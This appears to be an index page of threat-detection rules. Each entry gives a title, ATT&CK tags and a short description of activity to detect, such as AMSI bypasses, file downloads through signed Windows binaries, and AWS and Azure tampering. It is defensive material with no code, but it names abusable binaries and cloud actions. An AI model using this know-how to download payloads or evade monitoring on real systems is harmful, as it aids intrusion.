AMSI Bypass Pattern Assembly GetType

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.execution ·
Share on:

Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts

Read More
Amsi.DLL Loaded Via LOLBIN Process

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack

Read More
Anomalous Token

Aug 12, 2024 · attack.t1528 attack.credential-access ·
Share on:

Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.

Read More
Anomalous User Activity

Aug 12, 2024 · attack.t1098 attack.persistence ·
Share on:

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

Read More
Anonymous IP Address

Aug 12, 2024 · attack.t1528 attack.credential-access ·
Share on:

Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.

Read More
Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection

Aug 12, 2024 · attack.privilege-escalation attack.t1055 ·
Share on:

Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .

Read More
Anydesk Remote Access Software Service Installation

Aug 12, 2024 · attack.persistence ·
Share on:

Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.

Read More
Anydesk Temporary Artefact

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Apache Segmentation Fault

Aug 12, 2024 · attack.impact attack.t1499.004 ·
Share on:

Detects a segmentation fault error message caused by a crashing apache worker process

Read More
Apache Spark Shell Command Injection - ProcessCreation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-33891 ·
Share on:

Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective

Read More
Apache Spark Shell Command Injection - Weblogs

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-33891 detection.emerging-threats ·
Share on:

Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective

Read More
Apache Threading Error

Aug 12, 2024 · attack.initial-access attack.lateral-movement attack.t1190 attack.t1210 ·
Share on:

Detects an issue in apache logs that reports threading related errors

Read More
App Granted Microsoft Permissions

Aug 12, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD

Read More
App Granted Privileged Delegated Or App Permissions

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 ·
Share on:

Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions

Read More
Application AppID Uri Configuration Changes

Aug 12, 2024 · attack.persistence attack.credential-access attack.privilege-escalation attack.t1552 attack.t1078.004 ·
Share on:

Detects when a configuration change is made to an applications AppID URI.

Read More
Application Removed Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the removal or uninstallation of an application via "Wmic.EXE".

Read More
Application Terminated Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects calls to the "terminate" function via wmic in order to kill an application

Read More
Application Uninstalled

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

An application has been removed. Check if it is critical.

Read More
Application URI Configuration Changes

Aug 12, 2024 · attack.t1528 attack.t1078.004 attack.persistence attack.credential-access attack.privilege-escalation ·
Share on:

Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.

Read More
Application Using Device Code Authentication Flow

Aug 12, 2024 · attack.t1078 attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access ·
Share on:

Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.

Read More
Applications That Are Using ROPC Authentication Flow

Aug 12, 2024 · attack.t1078 attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access ·
Share on:

Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.

Read More
AppX Package Installation Attempts Via AppInstaller.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URI. It attempts to load/install a package from the referenced URL

Read More
APT PRIVATELOG Image Load Pattern

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 detection.emerging-threats ·
Share on:

Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances

Read More
APT User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects suspicious user agent strings used in APT malware in proxy logs

Read More
APT27 - Emissary Panda Activity

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.g0027 detection.emerging-threats ·
Share on:

Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27

Read More
APT29 2018 Phishing Campaign CommandLine Indicators

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 detection.emerging-threats ·
Share on:

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

Read More
APT29 2018 Phishing Campaign File Indicators

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant

Read More
APT31 Judgement Panda Activity

Aug 12, 2024 · attack.lateral-movement attack.credential-access attack.g0128 attack.t1003.001 attack.t1560.001 detection.emerging-threats ·
Share on:

Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report

Read More
APT40 Dropbox Tool User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.exfiltration attack.t1567.002 ·
Share on:

Detects suspicious user agent string of APT40 Dropbox tool

Read More
Arbitrary Binary Execution Using GUP Utility

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the Notepad++ updater (gup) to launch other commands or executables

Read More
Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of arbitrary DLLs or unsigned code via a ".csproj" files via Dotnet.EXE.

Read More
Arbitrary File Download Via ConfigSecurityPolicy.EXE

Aug 12, 2024 · attack.exfiltration attack.t1567 ·
Share on:

Detects the execution of "ConfigSecurityPolicy.EXE", a binary part of Windows Defender used to manage settings in Windows Defender. Users can configure different pilot collections for each of the co-management workloads. It can be abused by attackers in order to upload or download files.

Read More
Arbitrary File Download Via GfxDownloadWrapper.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.

Read More
Arbitrary File Download Via MSOHTMED.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "MSOHTMED" to download arbitrary files

Read More
Arbitrary File Download Via MSPUB.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files

Read More
Arbitrary File Download Via PresentationHost.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files

Read More
Arbitrary MSI Download Via Devinit.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system

Read More
Arbitrary Shell Command Execution Via Settingcontent-Ms

Aug 12, 2024 · attack.t1204 attack.t1566.001 attack.execution attack.initial-access ·
Share on:

The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

Read More
Arcadyan Router Exploitations

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-20090 cve.2021-20091 detection.emerging-threats ·
Share on:

Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.

Read More
Aruba Network Service Potential DLL Sideloading

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking

Read More
AspNetCompiler Execution

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.

Read More
Assembly DLL Creation Via AspNetCompiler

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.

Read More
Assembly Loading Via CL_LoadAssembly.ps1

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.

Read More
Atbroker Registry Change

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.persistence attack.t1547 ·
Share on:

Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'

Read More
Atera Agent Installation

Aug 12, 2024 · attack.t1219 ·
Share on:

Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators

Read More
Atlassian Bitbucket Command Injection Via Archive API

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-36804 detection.emerging-threats ·
Share on:

Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804

Read More
Atlassian Confluence CVE-2022-26134

Aug 12, 2024 · attack.initial-access attack.execution attack.t1190 attack.t1059 cve.2022-26134 ·
Share on:

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134

Read More
Atypical Travel

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.

Read More
Audio Capture

Aug 12, 2024 · attack.collection attack.t1123 ·
Share on:

Detects attempts to record audio with arecord utility

Read More
Audio Capture via PowerShell

Aug 12, 2024 · attack.collection attack.t1123 ·
Share on:

Detects audio capture via PowerShell Cmdlet.

Read More
Audio Capture via SoundRecorder

Aug 12, 2024 · attack.collection attack.t1123 ·
Share on:

Detect attacker collecting audio via SoundRecorder application.

Read More
Audit CVE Event

Aug 12, 2024 · attack.execution attack.t1203 attack.privilege-escalation attack.t1068 attack.defense-evasion attack.t1211 attack.credential-access attack.t1212 attack.lateral-movement attack.t1210 attack.impact attack.t1499.004 ·
Share on:

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

Read More
Audit Policy Tampering Via Auditpol

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

Read More
Audit Policy Tampering Via NT Resource Kit Auditpol

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

Read More
Auditing Configuration Changes on Linux Host

Aug 12, 2024 · attack.defense-evasion attack.t1562.006 ·
Share on:

Detect changes in auditd configuration files

Read More
Authentications To Important Apps Using Single Factor Authentication

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Detect when authentications to important application(s) only required single-factor authentication

Read More
Automated Collection Bookmarks Using Get-ChildItem PowerShell

Aug 12, 2024 · attack.discovery attack.t1217 ·
Share on:

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Read More
Automated Collection Command PowerShell

Aug 12, 2024 · attack.collection attack.t1119 ·
Share on:

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

Read More
Automated Collection Command Prompt

Aug 12, 2024 · attack.collection attack.t1119 attack.credential-access attack.t1552.001 ·
Share on:

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

Read More
AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

Read More
AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

Read More
AWS Attached Malicious Lambda Layer

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls. This would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.

Read More
AWS CloudTrail Important Change

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling, deleting and updating of a Trail

Read More
AWS Config Disabling Channel/Recorder

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects AWS Config Service disabling

Read More
AWS Console GetSigninToken Potential Abuse

Aug 12, 2024 · attack.lateral-movement attack.t1021.007 attack.t1550.001 ·
Share on:

Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.

Read More
AWS EC2 Disable EBS Encryption

Aug 12, 2024 · attack.impact attack.t1486 attack.t1565 ·
Share on:

Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.

Read More
AWS EC2 Startup Shell Script Change

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1059.003 attack.t1059.004 ·
Share on:

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

Read More
AWS EC2 VM Export Failure

Aug 12, 2024 · attack.collection attack.t1005 attack.exfiltration attack.t1537 ·
Share on:

An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.

Read More
AWS ECS Task Definition That Queries The Credential Endpoint

Aug 12, 2024 · attack.persistence attack.t1525 ·
Share on:

Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.

Read More
AWS EFS Fileshare Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when a EFS Fileshare is modified or deleted. You can't delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.

Read More
AWS EFS Fileshare Mount Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.

Read More
AWS EKS Cluster Created or Deleted

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Identifies when an EKS cluster is created or deleted.

Read More
AWS ElastiCache Security Group Created

Aug 12, 2024 · attack.persistence attack.t1136 attack.t1136.003 ·
Share on:

Detects when an ElastiCache security group has been created.

Read More
AWS ElastiCache Security Group Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Identifies when an ElastiCache security group has been modified or deleted.

Read More
AWS Glue Development Endpoint Activity

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects possible suspicious glue development endpoint activity.

Read More
AWS GuardDuty Important Change

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.

Read More
AWS IAM Backdoor Users Keys

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.

Read More
AWS IAM S3Browser LoginProfile Creation

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.009 attack.t1078.004 ·
Share on:

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

Read More
AWS IAM S3Browser Templated S3 Bucket Policy Creation

Aug 12, 2024 · attack.execution attack.t1059.009 attack.persistence attack.t1078.004 ·
Share on:

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".

Read More
AWS IAM S3Browser User or AccessKey Creation

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.009 attack.t1078.004 ·
Share on:

Detects S3 Browser utility creating IAM User or AccessKey.

Read More
AWS Identity Center Identity Provider Change

Aug 12, 2024 · attack.persistence attack.t1556 ·
Share on:

Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.

Read More
AWS RDS Master Password Change

Aug 12, 2024 · attack.exfiltration attack.t1020 ·
Share on:

Detects the change of database master password. It may be a part of data exfiltration.

Read More
AWS Root Credentials

Aug 12, 2024 · attack.privilege-escalation attack.t1078.004 ·
Share on:

Detects AWS root account usage

Read More
AWS Route 53 Domain Transfer Lock Disabled

Aug 12, 2024 · attack.persistence attack.credential-access attack.t1098 ·
Share on:

Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.

Read More
AWS Route 53 Domain Transferred to Another Account

Aug 12, 2024 · attack.persistence attack.credential-access attack.t1098 ·
Share on:

Detects when a request has been made to transfer a Route 53 domain to another AWS account.

Read More
AWS S3 Data Management Tampering

Aug 12, 2024 · attack.exfiltration attack.t1537 ·
Share on:

Detects when a user tampers with S3 data management in Amazon Web Services.

Read More
AWS SecurityHub Findings Evasion

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects the modification of the findings on SecurityHub.

Read More
AWS Snapshot Backup Exfiltration

Aug 12, 2024 · attack.exfiltration attack.t1537 ·
Share on:

Detects the modification of an EC2 snapshot's permissions to enable access from another account

Read More
AWS STS AssumeRole Misuse

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.t1548 attack.t1550 attack.t1550.001 ·
Share on:

Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.

Read More
AWS STS GetSessionToken Misuse

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.t1548 attack.t1550 attack.t1550.001 ·
Share on:

Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.

Read More
AWS Suspicious SAML Activity

Aug 12, 2024 · attack.initial-access attack.t1078 attack.lateral-movement attack.t1548 attack.privilege-escalation attack.t1550 attack.t1550.001 ·
Share on:

Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.

Read More
AWS User Login Profile Was Modified

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects activity when someone is changing passwords on behalf of other users. An attacker with the "iam:UpdateLoginProfile" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.

Read More
Azure Active Directory Hybrid Health AD FS New Server

Aug 12, 2024 · attack.defense-evasion attack.t1578 ·
Share on:

This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.

Read More
Azure Active Directory Hybrid Health AD FS Service Delete

Aug 12, 2024 · attack.defense-evasion attack.t1578.003 ·
Share on:

This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.

Read More
Azure AD Account Credential Leaked

Aug 12, 2024 · attack.t1589 attack.reconnaissance ·
Share on:

Indicates that the user's valid credentials have been leaked.

Read More
Azure AD Health Monitoring Agent Registry Keys Access

Aug 12, 2024 · attack.discovery attack.t1012 ·
Share on:

This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent.

Read More
Azure AD Health Service Agents Registry Keys Access

Aug 12, 2024 · attack.discovery attack.t1012 ·
Share on:

This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.

Read More
Azure AD Only Single Factor Authentication Required

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1556.006 ·
Share on:

Detect when users are authenticating without MFA being required.

Read More
Azure AD Threat Intelligence

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Indicates user activity that is unusual for the user or consistent with known attack patterns.

Read More
Azure Application Credential Modified

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a application credential is modified.

Read More
Azure Application Deleted

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1489 ·
Share on:

Identifies when a application is deleted in Azure.

Read More
Azure Application Gateway Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a application gateway is modified or deleted.

Read More
Azure Application Security Group Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a application security group is modified or deleted.

Read More
Azure Container Registry Created or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when a Container Registry is created or deleted.

Read More
Azure Device No Longer Managed or Compliant

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a device in azure is no longer managed or compliant

Read More
Azure Device or Configuration Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1485 attack.t1565.001 ·
Share on:

Identifies when a device or device configuration in azure is modified or deleted.

Read More
Azure DNS Zone Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1565.001 ·
Share on:

Identifies when DNS zone is modified or deleted.

Read More
Azure Domain Federation Settings Modified

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Identifies when an user or application modified the federation settings on the domain.

Read More
Azure Firewall Modified or Deleted

Aug 12, 2024 · attack.impact attack.defense-evasion attack.t1562.004 ·
Share on:

Identifies when a firewall is created, modified, or deleted.

Read More
Azure Firewall Rule Collection Modified or Deleted

Aug 12, 2024 · attack.impact attack.defense-evasion attack.t1562.004 ·
Share on:

Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.

Read More
Azure Firewall Rule Configuration Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a Firewall Rule Configuration is Modified or Deleted.

Read More
Azure Key Vault Modified or Deleted

Aug 12, 2024 · attack.impact attack.credential-access attack.t1552 attack.t1552.001 ·
Share on:

Identifies when a key vault is modified or deleted.

Read More
Azure Keyvault Key Modified or Deleted

Aug 12, 2024 · attack.impact attack.credential-access attack.t1552 attack.t1552.001 ·
Share on:

Identifies when a Keyvault Key is modified or deleted in Azure.

Read More
Azure Keyvault Secrets Modified or Deleted

Aug 12, 2024 · attack.impact attack.credential-access attack.t1552 attack.t1552.001 ·
Share on:

Identifies when secrets are modified or deleted in Azure.

Read More
Azure Kubernetes Admission Controller

Aug 12, 2024 · attack.persistence attack.t1078 attack.credential-access attack.t1552 attack.t1552.007 ·
Share on:

Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

Read More
Azure Kubernetes Cluster Created or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when a Azure Kubernetes Cluster is created or deleted.

Read More
Azure Kubernetes CronJob

Aug 12, 2024 · attack.persistence attack.t1053.003 attack.privilege-escalation attack.execution ·
Share on:

Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

Read More
Azure Kubernetes Events Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562 attack.t1562.001 ·
Share on:

Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.

Read More
Azure Kubernetes Network Policy Change

Aug 12, 2024 · attack.impact attack.credential-access ·
Share on:

Identifies when a Azure Kubernetes network policy is modified or deleted.

Read More
Azure Kubernetes Pods Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies the deletion of Azure Kubernetes Pods.

Read More
Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted

Aug 12, 2024 · attack.impact attack.credential-access ·
Share on:

Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.

Read More
Azure Kubernetes Secret or Config Object Access

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.

Read More
Azure Kubernetes Sensitive Role Access

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when ClusterRoles/Roles are being modified or deleted.

Read More
Azure Kubernetes Service Account Modified or Deleted

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Identifies when a service account is modified or deleted.

Read More
Azure Network Firewall Policy Modified or Deleted

Aug 12, 2024 · attack.impact attack.defense-evasion attack.t1562.007 ·
Share on:

Identifies when a Firewall Policy is Modified or Deleted.

Read More
Azure Network Security Configuration Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a network security configuration is modified or deleted.

Read More
Azure New CloudShell Created

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Identifies when a new cloudshell is created inside of Azure portal.

Read More
Azure Owner Removed From Application or Service Principal

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Identifies when a owner is was removed from a application or service principal in Azure.

Read More
Azure Point-to-site VPN Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a Point-to-site VPN is Modified or Deleted.

Read More
Azure Service Principal Created

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Identifies when a service principal is created in Azure.

Read More
Azure Service Principal Removed

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Identifies when a service principal was removed in Azure.

Read More
Azure Subscription Permission Elevation Via ActivityLogs

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·
Share on:

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

Read More
Azure Subscription Permission Elevation Via AuditLogs

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.

Read More
Azure Suppression Rule Created

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.

Read More
Azure Unusual Authentication Interruption

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Detects when there is a interruption in the authentication process.

Read More
Azure Virtual Network Device Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.

Read More
Azure Virtual Network Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a Virtual Network is modified or deleted in Azure.

Read More
Azure VPN Connection Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a VPN connection is modified or deleted.

Read More
Backup Catalog Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects backup catalog deletions

Read More
Backup Files Deleted

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.

Read More
Bad Opsec Powershell Code Artifacts

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

